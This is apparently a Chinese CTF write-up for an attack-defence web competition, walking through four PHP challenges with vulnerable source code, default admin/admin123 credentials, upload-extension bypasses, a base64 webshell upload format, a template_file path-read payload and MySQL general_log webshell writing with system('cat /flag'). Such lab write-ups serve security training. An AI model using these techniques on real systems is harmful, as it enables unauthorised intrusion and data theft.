赛制

给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手的gamebox从而获取到分数。

粤湾基金

漏洞点:

  • 前台任意文件上传
  • 后台任意文件上传
  • 后台弱口令

前台任意文件上传 #1

漏洞文件:/application/home/controller/Test.php

漏洞方法:dlfile()

public function dlfile($file_url, $save_to)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);
$downloaded_file = fopen($save_to, 'w');
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}

函数功能:

使用curl获取页面信息,并将其存储到本地文件中。

此处的file_url以及save_to均可控,所以可以直接getshell或者获取flag,主办方甚至贴心的给了利用方法:

前台任意文件上传 #2

漏洞文件:application/home/controller/Uploadify.php

漏洞方法:preview()

public function preview(){
// 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
} $cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
} while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
} $src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
} if(strtolower($type)=='php'){
die('hacked!');
} $filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename; if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}
}

函数功能:

提取正则中的base64编码的图片信息以及图片后缀,转存图片到本地。

漏洞点:

preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}
if(strtolower($type)=='php'){
die('hacked!');
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename; if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

这里的type以及base64均为我们可控的,而这里只是简单的限制了上传的后缀不能为php,我们可以尝试上传php4、php5、phtml、.user.ini、.htaccess来绕过。

后台弱口令

user:admin
pass:admin123

后台任意文件上传

漏洞文件:application/admin/controller/Uploadify.php

漏洞函数:preview()

public function preview(){

        // 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
} $cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
} while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
} $src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
} $filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename; if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}
}
}

和前台的一样,base64和type都可以控制,而且这里没有任何黑名单,可以直接控制后缀为php上传一个马。

格式:

data:image/php;base64,baseencode(yijuhua)

粤湾期货

漏洞点:

  • 重装系统
  • 后台任意文件上传

重装系统

漏洞文件:install.php

install.php中没有判断是否存在锁文件,导致可以任意重装。

这里不能用配置文件来getshell,因为用了addslashes函数来转义了引号,但是这里可以用来重置后台密码。

后台任意文件上传

在后台-系统设置中,可以设置允许上传的后缀,php被过滤了,可以直接用phtml来getshell,也可以用.user.ini来getshell。

粤湾投资

漏洞点:

  • 日志泄漏
  • 前台任意文件读取

日志泄漏

漏洞文件:Apps/Runtime/Logs/Home/19_11_20.log

打开进去可以直接看到主办方直接测试用的payload:

直接用这个payload就能读到flag。

前台任意文件读取

漏洞文件:Apps/Home/Controller/JqueryController.class.php

漏洞函数:index()

public function index(){
if(!isset($_GET['template_file'])) { $this->seoData = array('title' => 'Jquery插件', 'keywords' => 'Jquery插件', 'description' => 'Jquery插件'); $this->display();
}
else{
$this->display($_GET['template_file']);
}
}
}

直接将我们传递到template_file代入进display方法中,跟进:

protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}

将$templateFile代入了view-display()中,跟进:

public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

这里除了$templateFile,其余传递参数都为空,这里将templateFile传递进了fetch()方法,跟进:

于此处输出了模板文件:

payload:

index.php/Jquery/?template_file=/flag

粤湾租赁

漏洞点:

  • 后台弱口令
  • 后台任意SQL语句执行Getshell

后台弱口令

user:admin
pass:admin123

后台任意SQL语句执行Getshell

过滤了INTO OUTFILE不能直接写shell,使用写日志的方式进行写shell。

首先查看日志:

SHOW VARIABLES LIKE 'general%'

再设置日志文件并打开日志记录:

set global general_log = "ON";
set global general_log_file='/var/www/html/xxx.php';

这里卡了一会,直接写到一个不存在的文件里会500,所以只能尝试写日志进已存在的文件。

获取flag:

select '<?php system("cat /flag");'

进入日志页面后全局搜flag即可获取flag。

还有一个比较简单的方法:

select load_file("/flag");

当时在比赛的时候没想到,该payload没测试过,不知道是否被过滤。

Redhat 线下赛 WEB WP的更多相关文章

  1. ogeek线下赛web分析1-python-web

    1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...

  2. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  3. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  4. 2021江西省赛线下赛赛后总结(Crypto)

    2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...

  5. 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)

    目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...

  6. 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)

    目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...

  7. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  8. 某线下赛AWD

    拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...

  9. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

随机推荐

  1. JXJJOI2018_T3_catch

    题目描述 Lemon因为偶然的原因,当上了警察局长.而一上任,他就碰到了个大麻烦:追捕周克华. 周克华是人尽皆知的抢劫杀人犯,而就在几天前,他在Lemon辖区内的银行门口,枪杀了一名储户后逃之夭夭.L ...

  2. Luogu_2876_[USACO07JAN]解决问题Problem Solving

    题目描述 过去的日子里,农夫John的牛没有任何题目. 可是现在他们有题目,有很多的题目. 精确地说,他们有\(P(1 \leq P \leq 300)\)道题目要做. 他们还离开了农场并且象普通人一 ...

  3. Dungeon Master (三维BFS)

    题目: You are trapped in a 3D dungeon and need to find the quickest way out! The dungeon is composed o ...

  4. 码海拾遗:Linux常用命令(一)

    一.Linux系统安装 系统安装可以分两类:实体机安装Linux,虚拟机(常用虚拟机软件有两种:VMware和VirtualBox)安装Linux. 安装过程网上有很多教程,这里就不赘述了. 二.常用 ...

  5. 手把手教你利用Jenkins持续集成iOS项目

    前言 众所周知,现在App的竞争已经到了用户体验为王,质量为上的白热化阶段.用户们都是很挑剔的.如果一个公司的推广团队好不容易砸了重金推广了一个APP,好不容易有了一些用户,由于一次线上的bug导致一 ...

  6. PHP算法练习2:(175. 组合两个表)

    练习地址:https://leetcode-cn.com/problems/combine-two-tables/ 表1: Person +-------------+---------+ | 列名 ...

  7. 使用Blazor Server 线路处理程序 (circuit handler)跟踪打开的SignalR连接

    Blazor服务器允许定义线路处理程序(circuit handler)代码,该处理程序(handler)允许在更改用户线路状态时运行此代码. 线路处理程序(circuit handler)是通过从C ...

  8. Python-Requests库的安装和调用

    #使用pip或者pip3安装requests库pip3 install requests #requests库:python #输入python进入命令行模式在cmd命令行中依次运行以下代码,或者直接 ...

  9. python-面向对象小结

    面向对象 小结 1:面向对象:就是一种编程思想 简称oop,指挥某某完成能完成的功能 2:面向对象与面向过程的优缺点 : 面向过程: 优点: 复杂问题简答化(一步一步解决), 流程化, 缺点:机械化 ...

  10. HDFS文件系统基操--Java实现

    Java实现对HDFS文件系统的基本操作 1.准备好jar包 2.创建一个类 1. 测试连接 @Test //测试是否连接成功 public void test() { //添加配置 ==> c ...